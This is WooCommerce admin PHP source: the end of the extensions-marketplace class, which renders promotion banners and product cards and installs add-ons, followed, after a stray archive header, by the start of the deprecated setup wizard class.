		<div class="addons-wcs-banner-block">
			<div class="addons-wcs-banner-block-image is-full-image">
				<img
					class="addons-img"
					src="<?php echo esc_url( $block_data['image'] ); ?>"
					alt="<?php echo esc_attr( $block_data['image_alt'] ); ?>"
				/>
			</div>
			<div class="addons-wcs-banner-block-content">
				<h1><?php echo esc_html( $block_data['title'] ); ?></h1>
				<p><?php echo esc_html( $block_data['description'] ); ?></p>
				<ul class="wcs-logos-container">
					<?php foreach ( $block_data['logos'] as $logo ) : ?>
						<li>
							<img
								alt="<?php echo esc_attr( $logo['alt'] ); ?>"
								class="wcs-service-logo"
								src="<?php echo esc_url( $logo['link'] ); ?>"
							>
						</li>
					<?php endforeach; ?>
				</ul>
				<?php
					self::output_button(
						$block_data['href'],
						$block_data['button'],
						'addons-button-outline-purple'
					);
				?>
			</div>
		</div>
		<?php
	}

	/**
	 * Handles the outputting of the WooCommerce Pay banner block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param object $block Block data.
	 */
	public static function output_wcpay_banner_block( $block = array() ) {
		$is_active = is_plugin_active( 'woocommerce-payments/woocommerce-payments.php' );
		$location  = wc_get_base_location();

		if (
			! in_array( $location['country'], array( 'US' ), true ) ||
			$is_active ||
			! current_user_can( 'install_plugins' ) ||
			! current_user_can( 'activate_plugins' )
		) {
			return;
		}

		$button_url = wp_nonce_url(
			add_query_arg(
				array(
					'install-addon' => 'woocommerce-payments',
				)
			),
			'install-addon_woocommerce-payments'
		);

		$defaults = array(
			'image'       => WC()->plugin_url() . '/assets/images/wcpayments-icon-secure.png',
			'image_alt'   => __( 'WooCommerce Payments', 'woocommerce' ),
			'title'       => __( 'Payments made simple, with no monthly fees &mdash; exclusively for WooCommerce stores.', 'woocommerce' ),
			'description' => __( 'Securely accept cards in your store. See payments, track cash flow into your bank account, and stay on top of disputes – right from your dashboard.', 'woocommerce' ),
			'button'      => __( 'Free - Install now', 'woocommerce' ),
			'href'        => $button_url,
			'logos'       => array(),
		);

		$block_data = array_merge( $defaults, $block );
		?>
		<div class="addons-wcs-banner-block">
			<div class="addons-wcs-banner-block-image">
				<img
					class="addons-img"
					src="<?php echo esc_url( $block_data['image'] ); ?>"
					alt="<?php echo esc_attr( $block_data['image_alt'] ); ?>"
				/>
			</div>
			<div class="addons-wcs-banner-block-content">
				<h1><?php echo esc_html( $block_data['title'] ); ?></h1>
				<p><?php echo esc_html( $block_data['description'] ); ?></p>
				<?php
					self::output_button(
						$block_data['href'],
						$block_data['button'],
						'addons-button-outline-purple'
					);
				?>
			</div>
		</div>
		<?php
	}


	/**
	 * Output the HTML for the promotion block.
	 *
	 * @param array $promotion Array of promotion block data.
	 * @return void
	 */
	public static function output_search_promotion_block( array $promotion ) {
		?>
		<div class="addons-wcs-banner-block">
			<div class="addons-wcs-banner-block-image">
				<img
					class="addons-img"
					src="<?php echo esc_url( $promotion['image'] ); ?>"
					alt="<?php echo esc_attr( $promotion['image_alt'] ); ?>"
				/>
			</div>
			<div class="addons-wcs-banner-block-content">
				<h1><?php echo esc_html( $promotion['title'] ); ?></h1>
				<p><?php echo esc_html( $promotion['description'] ); ?></p>
				<?php
				if ( ! empty( $promotion['actions'] ) ) {
					foreach ( $promotion['actions'] as $action ) {
						self::output_promotion_action( $action );
					}
				}
				?>
			</div>
		</div>
		<?php
	}


	/**
	 * Handles the output of a full-width block.
	 *
	 * @deprecated 5.9.0 No longer used in In-App Marketplace
	 *
	 * @param array $section Section data.
	 */
	public static function output_promotion_block( $section ) {
		if (
			! current_user_can( 'install_plugins' ) ||
			! current_user_can( 'activate_plugins' )
		) {
			return;
		}

		$section_object = (object) $section;

		if ( ! empty( $section_object->geowhitelist ) ) {
			$section_object->geowhitelist = explode( ',', $section_object->geowhitelist );
		}

		if ( ! empty( $section_object->geoblacklist ) ) {
			$section_object->geoblacklist = explode( ',', $section_object->geoblacklist );
		}

		if ( ! self::show_extension( $section_object ) ) {
			return;
		}

		?>
		<div class="addons-banner-block addons-promotion-block">
			<img
				class="addons-img"
				src="<?php echo esc_url( $section['image'] ); ?>"
				alt="<?php echo esc_attr( $section['image_alt'] ); ?>"
			/>
			<div class="addons-promotion-block-content">
				<h1 class="addons-promotion-block-title"><?php echo esc_html( $section['title'] ); ?></h1>
				<div class="addons-promotion-block-description">
					<?php echo wp_kses_post( $section['description'] ); ?>
				</div>
				<div class="addons-promotion-block-buttons">
					<?php
					if ( $section['button_1'] ) {
						self::output_button(
							$section['button_1_href'],
							$section['button_1'],
							'addons-button-expandable addons-button-solid',
							$section['plugin']
						);
					}

					if ( $section['button_2'] ) {
						self::output_button(
							$section['button_2_href'],
							$section['button_2'],
							'addons-button-expandable addons-button-outline-purple',
							$section['plugin']
						);
					}
					?>
				</div>
			</div>
		</div>
		<?php
	}

	/**
	 * Handles the outputting of featured sections
	 *
	 * @param array $sections Section data.
	 */
	public static function output_featured_sections( $sections ) {
		foreach ( $sections as $section ) {
			switch ( $section->module ) {
				case 'banner_block':
					self::output_banner_block( $section );
					break;
				case 'column_start':
					self::output_column( $section );
					break;
				case 'column_end':
					self::output_column( $section );
					break;
				case 'column_block':
					self::output_column_block( $section );
					break;
				case 'small_light_block':
					self::output_small_light_block( $section );
					break;
				case 'small_dark_block':
					self::output_small_dark_block( $section );
					break;
				case 'wcs_banner_block':
					self::output_wcs_banner_block( (array) $section );
					break;
				case 'wcpay_banner_block':
					self::output_wcpay_banner_block( (array) $section );
					break;
				case 'promotion_block':
					self::output_promotion_block( (array) $section );
					break;
			}
		}
	}

	/**
	 * Handles the outputting of featured page
	 *
	 * @param array $blocks Featured page's blocks.
	 */
	private static function output_featured( $blocks ) {
		foreach ( $blocks as $block ) {
			$block_type = $block->type ?? null;
			switch ( $block_type ) {
				case 'group':
					self::output_group( $block );
					break;
				case 'banner':
					self::output_banner( $block );
					break;
			}
		}
	}

	/**
	 * Render a group block including products
	 *
	 * @param mixed $block Block of the page for rendering.
	 *
	 * @return void
	 */
	private static function output_group( $block ) {
		$capacity             = $block->capacity ?? 3;
		$product_list_classes = 3 === $capacity ? 'three-column' : 'two-column';
		$product_list_classes = 'products addons-products-' . $product_list_classes;
		?>
			<section class="addon-product-group">
				<h1 class="addon-product-group-title"><?php echo esc_html( $block->title ); ?></h1>
				<div class="addon-product-group-description-container">
					<?php if ( ! empty( $block->description ) ) : ?>
					<div class="addon-product-group-description">
						<?php echo esc_html( $block->description ); ?>
					</div>
					<?php endif; ?>
					<?php if ( null !== $block->url ) : ?>
					<a class="addon-product-group-see-more" href="<?php echo esc_url( $block->url ); ?>">
						<?php esc_html_e( 'See more', 'woocommerce' ); ?>
					</a>
					<?php endif; ?>
				</div>
				<div class="addon-product-group__items">
					<ul class="<?php echo esc_attr( $product_list_classes ); ?>">
					<?php
					$products = array_slice( $block->items, 0, $capacity );
					foreach ( $products as $item ) {
						self::render_product_card( $item );
					}
					?>
					</ul>
				<div>
			</section>
		<?php
	}

	/**
	 * Render a banner contains a product
	 *
	 * @param mixed $block Block of the page for rendering.
	 *
	 * @return void
	 */
	private static function output_banner( $block ) {
		if ( empty( $block->buttons ) ) {
			// Render a product-like banner.
			?>
			<ul class="products">
				<?php self::render_product_card( $block, $block->type ); ?>
			</ul>
			<?php
		} else {
			// Render a banner with buttons.
			?>
			<ul class="products">
				<li class="product addons-buttons-banner">
					<div class="addons-buttons-banner-image"
						style="background-image:url(<?php echo esc_url( $block->image ); ?>)"
						title="<?php echo esc_attr( $block->image_alt ); ?>"></div>
					<div class="product-details addons-buttons-banner-details-container">
						<div class="addons-buttons-banner-details">
							<h2><?php echo esc_html( $block->title ); ?></h2>
							<p><?php echo wp_kses( $block->description, array() ); ?></p>
						</div>
						<div class="addons-buttons-banner-button-container">
						<?php
						foreach ( $block->buttons as $button ) {
							$button_classes = array( 'button', 'addons-buttons-banner-button' );
							$type           = $button->type ?? null;
							if ( 'primary' === $type ) {
								$button_classes[] = 'addons-buttons-banner-button-primary';
							}
							?>
							<a class="<?php echo esc_attr( implode( ' ', $button_classes ) ); ?>"
								href="<?php echo esc_url( $button->href ); ?>">
								<?php echo esc_html( $button->title ); ?>
							</a>
						<?php } ?>
						</div>
					</div>
				</li>
			</ul>
			<?php
		}
	}

	/**
	 * Returns in-app-purchase URL params.
	 */
	public static function get_in_app_purchase_url_params() {
		// Get url (from path onward) for the current page,
		// so WCCOM "back" link returns user to where they were.
		$back_admin_path = add_query_arg( array() );
		return array(
			'wccom-site'          => site_url(),
			'wccom-back'          => rawurlencode( $back_admin_path ),
			'wccom-woo-version'   => Constants::get_constant( 'WC_VERSION' ),
			'wccom-connect-nonce' => wp_create_nonce( 'connect' ),
		);
	}

	/**
	 * Add in-app-purchase URL params to link.
	 *
	 * Adds various url parameters to a url to support a streamlined
	 * flow for obtaining and setting up WooCommerce extensons.
	 *
	 * @param string $url    Destination URL.
	 */
	public static function add_in_app_purchase_url_params( $url ) {
		return add_query_arg(
			self::get_in_app_purchase_url_params(),
			$url
		);
	}

	/**
	 * Outputs a button.
	 *
	 * @param string $url    Destination URL.
	 * @param string $text   Button label text.
	 * @param string $style  Button style class.
	 * @param string $plugin The plugin the button is promoting.
	 */
	public static function output_button( $url, $text, $style, $plugin = '' ) {
		$style = __( 'Free', 'woocommerce' ) === $text ? 'addons-button-outline-purple' : $style;
		$style = is_plugin_active( $plugin ) ? 'addons-button-installed' : $style;
		$text  = is_plugin_active( $plugin ) ? __( 'Installed', 'woocommerce' ) : $text;
		$url   = self::add_in_app_purchase_url_params( $url );
		?>
		<a
			class="addons-button <?php echo esc_attr( $style ); ?>"
			href="<?php echo esc_url( $url ); ?>">
			<?php echo esc_html( $text ); ?>
		</a>
		<?php
	}

	/**
	 * Output HTML for a promotion action.
	 *
	 * @param array $action Array of action properties.
	 *
	 * @return void
	 */
	public static function output_promotion_action( array $action ) {
		if ( empty( $action ) ) {
			return;
		}
		$style = ( ! empty( $action['primary'] ) && $action['primary'] ) ? 'addons-button-solid' : 'addons-button-outline-purple';
		?>
		<a
			class="addons-button <?php echo esc_attr( $style ); ?>"
			href="<?php echo esc_url( $action['url'] ); ?>">
			<?php echo esc_html( $action['label'] ); ?>
		</a>
		<?php
	}


	/**
	 * Handles output of the addons page in admin.
	 */
	public static function output() {
		$section = isset( $_GET['section'] ) ? sanitize_text_field( wp_unslash( $_GET['section'] ) ) : '_featured';
		$search  = isset( $_GET['search'] ) ? sanitize_text_field( wp_unslash( $_GET['search'] ) ) : '';

		if ( isset( $_GET['section'] ) && 'helper' === $_GET['section'] ) {
			do_action( 'woocommerce_helper_output' );
			return;
		}

		if ( isset( $_GET['install-addon'] ) ) {
			switch ( $_GET['install-addon'] ) {
				case 'woocommerce-services':
					self::install_woocommerce_services_addon();
					break;
				case 'woocommerce-payments':
					self::install_woocommerce_payments_addon( $section );
					break;
				default:
					// Do nothing.
					break;
			}
		}

		$sections        = self::get_sections();
		$theme           = wp_get_theme();
		$current_section = isset( $_GET['section'] ) ? $section : '_featured';
		$promotions      = array();
		$addons          = array();

		if ( '_featured' !== $current_section ) {
			$category       = $section ? $section : null;
			$term           = $search ? $search : null;
			$country        = WC()->countries->get_base_country();
			$extension_data = self::get_extension_data( $category, $term, $country );
			$addons         = $extension_data->products;
			$promotions     = ! empty( $extension_data->promotions ) ? $extension_data->promotions : array();
		}

		// We need Automattic\WooCommerce\Admin\RemoteInboxNotifications for the next part, if not remove all promotions.
		if ( ! WC()->is_wc_admin_active() ) {
			$promotions = array();
		}
		// Check for existence of promotions and evaluate out if we should show them.
		if ( ! empty( $promotions ) ) {
			foreach ( $promotions as $promo_id => $promotion ) {
				$evaluator = new PromotionRuleEngine\RuleEvaluator();
				$passed    = $evaluator->evaluate( $promotion->rules );
				if ( ! $passed ) {
					unset( $promotions[ $promo_id ] );
				}
			}
			// Transform promotions to the correct format ready for output.
			$promotions = self::format_promotions( $promotions );
		}

		/**
		 * Addon page view.
		 *
		 * @uses $addons
		 * @uses $search
		 * @uses $sections
		 * @uses $theme
		 * @uses $current_section
		 */
		include_once dirname( __FILE__ ) . '/views/html-admin-page-addons.php';
	}

	/**
	 * Install WooCommerce Services from Extensions screens.
	 */
	public static function install_woocommerce_services_addon() {
		check_admin_referer( 'install-addon_woocommerce-services' );

		$services_plugin_id = 'woocommerce-services';
		$services_plugin    = array(
			'name'      => __( 'WooCommerce Services', 'woocommerce' ),
			'repo-slug' => 'woocommerce-services',
		);

		WC_Install::background_installer( $services_plugin_id, $services_plugin );

		wp_safe_redirect( remove_query_arg( array( 'install-addon', '_wpnonce' ) ) );
		exit;
	}

	/**
	 * Install WooCommerce Payments from the Extensions screens.
	 *
	 * @param string $section Optional. Extenstions tab.
	 *
	 * @return void
	 */
	public static function install_woocommerce_payments_addon( $section = '_featured' ) {
		check_admin_referer( 'install-addon_woocommerce-payments' );

		$wcpay_plugin_id = 'woocommerce-payments';
		$wcpay_plugin    = array(
			'name'      => __( 'WooCommerce Payments', 'woocommerce' ),
			'repo-slug' => 'woocommerce-payments',
		);

		WC_Install::background_installer( $wcpay_plugin_id, $wcpay_plugin );

		do_action( 'woocommerce_addon_installed', $wcpay_plugin_id, $section );

		wp_safe_redirect( remove_query_arg( array( 'install-addon', '_wpnonce' ) ) );
		exit;
	}

	/**
	 * We're displaying page=wc-addons and page=wc-addons&section=helper as two separate pages.
	 * When we're on those pages, add body classes to distinguishe them.
	 *
	 * @param string $admin_body_class Unfiltered body class.
	 *
	 * @return string Body class with added class for Marketplace or My Subscriptions page.
	 */
	public static function filter_admin_body_classes( string $admin_body_class = '' ): string {
		if ( isset( $_GET['section'] ) && 'helper' === $_GET['section'] ) {
			return " $admin_body_class woocommerce-page-wc-subscriptions ";
		}

		return " $admin_body_class woocommerce-page-wc-marketplace ";
	}

	/**
	 * Take an action object and return the URL based on properties of the action.
	 *
	 * @param object $action Action object.
	 * @return string URL.
	 */
	public static function get_action_url( $action ): string {
		if ( ! isset( $action->url ) ) {
			return '';
		}

		if ( isset( $action->url_is_admin_query ) && $action->url_is_admin_query ) {
			return wc_admin_url( $action->url );
		}

		if ( isset( $action->url_is_admin_nonce_query ) && $action->url_is_admin_nonce_query ) {
			if ( empty( $action->nonce ) ) {
				return '';
			}
			return wp_nonce_url(
				admin_url( $action->url ),
				$action->nonce
			);
		}

		return $action->url;
	}

	/**
	 * Format the promotion data ready for display, ie fetch locales and actions.
	 *
	 * @param array $promotions Array of promotoin objects.
	 * @return array Array of formatted promotions ready for output.
	 */
	public static function format_promotions( array $promotions ): array {
		$formatted_promotions = array();
		foreach ( $promotions as $promotion ) {
			// Get the matching locale or fall back to en-US.
			$locale = PromotionRuleEngine\SpecRunner::get_locale( $promotion->locales );
			if ( null === $locale ) {
				continue;
			}

			$promotion_actions = array();
			if ( ! empty( $promotion->actions ) ) {
				foreach ( $promotion->actions as $action ) {
					$action_locale = PromotionRuleEngine\SpecRunner::get_action_locale( $action->locales );
					$url           = self::get_action_url( $action );

					$promotion_actions[] = array(
						'name'    => $action->name,
						'label'   => $action_locale->label,
						'url'     => $url,
						'primary' => isset( $action->is_primary ) ? $action->is_primary : false,
					);
				}
			}

			$formatted_promotions[] = array(
				'title'       => $locale->title,
				'description' => $locale->description,
				'image'       => ( 'http' === substr( $locale->image, 0, 4 ) ) ? $locale->image : WC()->plugin_url() . $locale->image,
				'image_alt'   => $locale->image_alt,
				'actions'     => $promotion_actions,
			);
		}
		return $formatted_promotions;
	}

	/**
	 * Map data from different endpoints to a universal format
	 *
	 * Search and featured products has a slightly different products' field names.
	 * Mapping converts different data structures into a universal one for further processing.
	 *
	 * @param mixed $data Product Card Data.
	 *
	 * @return object Converted data.
	 */
	public static function map_product_card_data( $data ) {
		$mapped = (object) null;

		$type = $data->type ?? null;

		// Icon.
		$mapped->icon = $data->icon ?? null;
		if ( null === $mapped->icon && 'banner' === $type ) {
			// For product-related banners icon is a product's image.
			$mapped->icon = $data->image ?? null;
		}
		// URL.
		$mapped->url = $data->link ?? null;
		if ( empty( $mapped->url ) ) {
			$mapped->url = $data->url ?? null;
		}
		// Title.
		$mapped->title = $data->title ?? null;
		// Vendor Name.
		$mapped->vendor_name = $data->vendor_name ?? null;
		if ( empty( $mapped->vendor_name ) ) {
			$mapped->vendor_name = $data->vendorName ?? null; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
		}
		// Vendor URL.
		$mapped->vendor_url = $data->vendor_url ?? null;
		if ( empty( $mapped->vendor_url ) ) {
			$mapped->vendor_url = $data->vendorUrl ?? null; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
		}
		// Description.
		$mapped->description = $data->excerpt ?? null;
		if ( empty( $mapped->description ) ) {
			$mapped->description = $data->description ?? null;
		}
		$has_currency = ! empty( $data->currency ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase

		// Is Free.
		if ( $has_currency ) {
			$mapped->is_free = 0 === (int) $data->price;
		} else {
			$mapped->is_free = '&#36;0.00' === $data->price;
		}
		// Price.
		if ( $has_currency ) {
			$mapped->price = wc_price( $data->price, array( 'currency' => $data->currency ) );
		} else {
			$mapped->price = $data->price;
		}
		// Rating.
		$mapped->rating = $data->rating ?? null;
		if ( null === $mapped->rating ) {
			$mapped->rating = $data->averageRating ?? null; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
		}
		// Reviews Count.
		$mapped->reviews_count = $data->reviews_count ?? null;
		if ( null === $mapped->reviews_count ) {
			$mapped->reviews_count = $data->reviewsCount ?? null; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
		}
		// Featured & Promoted product card.
		// Label.
		$mapped->label = $data->label ?? null;
		// Primary color.
		$mapped->primary_color = $data->primary_color ?? null;
		// Text color.
		$mapped->text_color = $data->text_color ?? null;
		// Button text.
		$mapped->button = $data->button ?? null;

		return $mapped;
	}

	/**
	 * Render a product card
	 *
	 * There's difference in data structure (e.g. field names) between endpoints such as search and
	 * featured. Inner mapping helps to use universal field names for further work.
	 *
	 * @param mixed  $data       Product data.
	 * @param string $block_type Block type that's different from the default product card, e.g. a banner.
	 *
	 * @return void
	 */
	public static function render_product_card( $data, $block_type = null ) {
		$mapped      = self::map_product_card_data( $data );
		$product_url = self::add_in_app_purchase_url_params( $mapped->url );
		$class_names = array( 'product' );
		// Specify a class name according to $block_type (if it's specified).
		if ( null !== $block_type ) {
			$class_names[] = 'addons-product-' . $block_type;
		}

		$product_details_classes = 'product-details';
		if ( 'banner' === $block_type ) {
			$product_details_classes .= ' addon-product-banner-details';
		}

		if ( isset( $mapped->label ) && 'promoted' === $mapped->label ) {
			$product_details_classes .= ' promoted';
		} elseif ( isset( $mapped->label ) && 'featured' === $mapped->label ) {
			$product_details_classes .= ' featured';
		}

		if ( 'promoted' === $mapped->label
			 && ! empty( $mapped->primary_color )
			 && ! empty( $mapped->text_color )
			 && ! empty( $mapped->button ) ) {
			// Promoted product card.
			?>
			<li class="product">
				<div class="<?php echo esc_attr( $product_details_classes ); ?>" style="border-top: 5px  solid <?php echo esc_html( $mapped->primary_color ); ?>;">
					<span class="label promoted"><?php esc_attr_e( 'Promoted', 'woocommerce' ); ?></span>
					<a href="<?php echo esc_url( $product_url ); ?>">
						<h2><?php echo esc_html( $mapped->title ); ?></h2>
					</a>
					<p><?php echo wp_kses_post( $mapped->description ); ?></p>
				</div>
				<div class="product-footer-promoted">
					<span class="icon"><img src="<?php echo esc_url( $mapped->icon ); ?>" /></span>
					<a class="addons-button addons-button-promoted" style="background: <?php echo esc_html( $mapped->primary_color ); ?>; color: <?php echo esc_html( $mapped->text_color ); ?>;" href="<?php echo esc_url( $product_url ); ?>">
						<?php echo esc_html( $mapped->button ); ?>
					</a>
				</div>
			</li>
			<?php
		} else {
			// Normal or "featured" product card.
			?>
			<li class="<?php echo esc_attr( implode( ' ', $class_names ) ); ?>">
				<div class="<?php echo esc_attr( $product_details_classes ); ?>">
					<div class="product-text-container">
						<?php if ( isset( $mapped->label ) && 'featured' === $mapped->label ) { ?>
							<span class="label featured"><?php esc_attr_e( 'Featured', 'woocommerce' ); ?></span>
						<?php } ?>
						<a href="<?php echo esc_url( $product_url ); ?>">
							<h2><?php echo esc_html( $mapped->title ); ?></h2>
						</a>
						<?php if ( ! empty( $mapped->vendor_name ) && ! empty( $mapped->vendor_url ) ) : ?>
							<div class="product-developed-by">
								<?php
								$vendor_url = add_query_arg(
									array(
										'utm_source'   => 'extensionsscreen',
										'utm_medium'   => 'product',
										'utm_campaign' => 'wcaddons',
										'utm_content'  => 'devpartner',
									),
									$mapped->vendor_url
								);

								printf(
								/* translators: %s vendor link */
									esc_html__( 'Developed by %s', 'woocommerce' ),
									sprintf(
										'<a class="product-vendor-link" href="%1$s" target="_blank">%2$s</a>',
										esc_url_raw( $vendor_url ),
										esc_html( $mapped->vendor_name )
									)
								);
								?>
							</div>
						<?php endif; ?>
						<p><?php echo wp_kses_post( $mapped->description ); ?></p>
					</div>
					<?php if ( ! empty( $mapped->icon ) ) : ?>
						<span class="product-img-wrap">
							<?php /* Show an icon if it exists */ ?>
							<img src="<?php echo esc_url( $mapped->icon ); ?>" />
						</span>
					<?php endif; ?>
				</div>
				<div class="product-footer">
					<div class="product-price-and-reviews-container">
						<div class="product-price-block">
							<?php if ( $mapped->is_free ) : ?>
								<span class="price"><?php esc_html_e( 'Free', 'woocommerce' ); ?></span>
							<?php else : ?>
								<span class="price">
									<?php
									echo wp_kses(
										$mapped->price,
										array(
											'span' => array(
												'class' => array(),
											),
											'bdi'  => array(),
										)
									);
									?>
								</span>
								<span class="price-suffix"><?php esc_html_e( 'per year', 'woocommerce' ); ?></span>
							<?php endif; ?>
						</div>
						<?php if ( ! empty( $mapped->reviews_count ) && ! empty( $mapped->rating ) ) : ?>
							<?php /* Show rating and the number of reviews */ ?>
							<div class="product-reviews-block">
								<?php for ( $index = 1; $index <= 5; ++$index ) : ?>
									<?php $rating_star_class = 'product-rating-star product-rating-star__' . self::get_star_class( $mapped->rating, $index ); ?>
									<div class="<?php echo esc_attr( $rating_star_class ); ?>"></div>
								<?php endfor; ?>
								<span class="product-reviews-count">(<?php echo (int) $mapped->reviews_count; ?>)</span>
							</div>
						<?php endif; ?>
					</div>
					<a class="button" href="<?php echo esc_url( $product_url ); ?>">
						<?php esc_html_e( 'View details', 'woocommerce' ); ?>
					</a>
				</div>
			</li>
			<?php
		}
	}

	/**
	 * Determine which class should be used for a rating star:
	 * - golden
	 * - half-filled (50/50 golden and gray)
	 * - gray
	 *
	 * Consider ratings from 3.0 to 4.0 as an example
	 * 3.0 will produce 3 stars
	 * 3.1 to 3.5 will produce 3 stars and a half star
	 * 3.6 to 4.0 will product 4 stars
	 *
	 * @param float $rating Rating of a product.
	 * @param int   $index  Index of a star in a row.
	 *
	 * @return string CSS class to use.
	 */
	public static function get_star_class( $rating, $index ) {
		if ( $rating >= $index ) {
			// Rating more that current star to show.
			return 'fill';
		} elseif (
			abs( $index - 1 - floor( $rating ) ) < 0.0000001 &&
			0 < ( $rating - floor( $rating ) )
		) {
			// For rating more than x.0 and less than x.5 or equal it will show a half star.
			return 50 >= floor( ( $rating - floor( $rating ) ) * 100 )
				? 'half-fill'
				: 'fill';
		}

		// Don't show a golden star otherwise.
		return 'no-fill';
	}
}
PK�3\�#���V�Vclass-wc-admin-setup-wizard.phpnu�[���<?php
/**
 * Setup Wizard Class
 *
 * Takes new users through some basic steps to setup their store.
 *
 * @package     WooCommerce\Admin
 * @version     2.6.0
 * @deprecated  4.6.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Admin_Setup_Wizard class.
 */
class WC_Admin_Setup_Wizard {

	/**
	 * Current step
	 *
	 * @var string
	 */
	private $step = '';

	/**
	 * Steps for the setup wizard
	 *
	 * @var array
	 */
	private $steps = array();

	/**
	 * Actions to be executed after the HTTP response has completed
	 *
	 * @var array
	 */
	private $deferred_actions = array();

	/**
	 * Tweets user can optionally send after install
	 *
	 * @var array
	 */
	private $tweets = array(
		'Someone give me woo-t, I just set up a new store with #WordPress and @WooCommerce!',
		'Someone give me high five, I just set up a new store with #WordPress and @WooCommerce!',
	);

	/**
	 * The version of WordPress required to run the WooCommerce Admin plugin
	 *
	 * @var string
	 */
	private $wc_admin_plugin_minimum_wordpress_version = '5.3';

	/**
	 * Hook in tabs.
	 *
	 * @deprecated 4.6.0
	 */
	public function __construct() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Add admin menus/screens.
	 *
	 * @deprecated 4.6.0
	 */
	public function admin_menus() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		add_dashboard_page( '', '', 'manage_options', 'wc-setup', '' );
	}

	/**
	 * The theme "extra" should only be shown if the current user can modify themes
	 * and the store doesn't already have a WooCommerce theme.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function should_show_theme() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$support_woocommerce = current_theme_supports( 'woocommerce' ) && ! wc_is_wp_default_theme_active();

		return (
			current_user_can( 'install_themes' ) &&
			current_user_can( 'switch_themes' ) &&
			! is_multisite() &&
			! $support_woocommerce
		);
	}

	/**
	 * The "automated tax" extra should only be shown if the current user can
	 * install plugins and the store is in a supported country.
	 *
	 * @deprecated 4.6.0
	 */
	protected function should_show_automated_tax() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		if ( ! current_user_can( 'install_plugins' ) ) {
			return false;
		}

		$country_code = WC()->countries->get_base_country();
		// https://developers.taxjar.com/api/reference/#countries .
		$tax_supported_countries = array_merge(
			array( 'US', 'CA', 'AU' ),
			WC()->countries->get_european_union_countries()
		);

		return in_array( $country_code, $tax_supported_countries, true );
	}

	/**
	 * Should we show the MailChimp install option?
	 * True only if the user can install plugins.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function should_show_mailchimp() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return current_user_can( 'install_plugins' );
	}

	/**
	 * Should we show the Facebook install option?
	 * True only if the user can install plugins,
	 * and up until the end date of the recommendation.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function should_show_facebook() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return current_user_can( 'install_plugins' );
	}

	/**
	 * Is the WooCommerce Admin actively included in the WooCommerce core?
	 * Based on presence of a basic WC Admin function.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function is_wc_admin_active() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return function_exists( 'wc_admin_url' );
	}

	/**
	 * Should we show the WooCommerce Admin install option?
	 * True only if the user can install plugins,
	 * and is running the correct version of WordPress.
	 *
	 * @see WC_Admin_Setup_Wizard::$wc_admin_plugin_minimum_wordpress_version
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function should_show_wc_admin() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$wordpress_minimum_met = version_compare( get_bloginfo( 'version' ), $this->wc_admin_plugin_minimum_wordpress_version, '>=' );
		return current_user_can( 'install_plugins' ) && $wordpress_minimum_met && ! $this->is_wc_admin_active();
	}

	/**
	 * Should we show the new WooCommerce Admin onboarding experience?
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function should_show_wc_admin_onboarding() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		// As of WooCommerce 4.1, all new sites should use the latest OBW from wc-admin package.
		// This filter will allow for forcing the old wizard while we migrate e2e tests.
		return ! apply_filters( 'woocommerce_setup_wizard_force_legacy', false );
	}

	/**
	 * Should we display the 'Recommended' step?
	 * True if at least one of the recommendations will be displayed.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	protected function should_show_recommended_step() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return $this->should_show_theme()
			|| $this->should_show_automated_tax()
			|| $this->should_show_mailchimp()
			|| $this->should_show_facebook()
			|| $this->should_show_wc_admin();
	}

	/**
	 * Register/enqueue scripts and styles for the Setup Wizard.
	 *
	 * Hooked onto 'admin_enqueue_scripts'.
	 *
	 * @deprecated 4.6.0
	 */
	public function enqueue_scripts() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Show the setup wizard.
	 *
	 * @deprecated 4.6.0
	 */
	public function setup_wizard() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		if ( empty( $_GET['page'] ) || 'wc-setup' !== $_GET['page'] ) { // WPCS: CSRF ok, input var ok.
			return;
		}
		$default_steps = array(
			'new_onboarding' => array(
				'name'    => '',
				'view'    => array( $this, 'wc_setup_new_onboarding' ),
				'handler' => array( $this, 'wc_setup_new_onboarding_save' ),
			),
			'store_setup'    => array(
				'name'    => __( 'Store setup', 'woocommerce' ),
